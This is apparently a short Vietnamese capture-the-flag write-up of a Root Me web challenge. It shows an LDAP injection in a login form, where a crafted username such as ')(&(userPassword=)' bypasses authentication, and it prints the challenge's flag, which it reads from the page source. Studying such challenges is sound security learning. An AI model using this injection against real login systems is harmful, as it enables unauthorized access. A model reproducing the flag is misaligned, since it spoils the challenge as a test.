

← → C Not secure | challenge01.root-me.org/web-serveur/ch25/

Root Me

SSO v 0.01

Authenticate yourself

Username

Password

connect

Giao diện trang web cho phép đăng nhập với Username và Password như hình trên.

(&(USER=Uname)(PASSWORD=Pwd))

Tìm hiểu về LDAP thì biết được cơ chế của nó như hình trên.

ERROR : Invalid LDAP syntax : (&(uid=*)(&(userPassword=*)))(userPassword=*)

Authenticate yourself

Username

)(&(userPassword=)

Password

••

connect

Ta có thể bypass bằng cách chèn điều kiện thứ 2 là userPassword=* là giá trị bất kì

← → ⌛ Not secure | challenge01.root-me.org/web-serveur/ch25/

Root Me

SSO v 0.01

Welcome back ch25

Informations

- Email : ch25@challenge01.root-m
- Username : ch25
- Password : [REDACTED]

Applications

No applications available for the moment

Kết quả bypass được vào ch25 thành công.

```
▼<li>
  ::marker
  "Password : "
...
  <input type="password" disabled="disabled" value="SWRwehpkTI3Vu2F9DoTJJ0LBO"> == $0
</li>
</ul>
```

Kiểm tra source code để biết giá trị của password cũng là flag của challenge.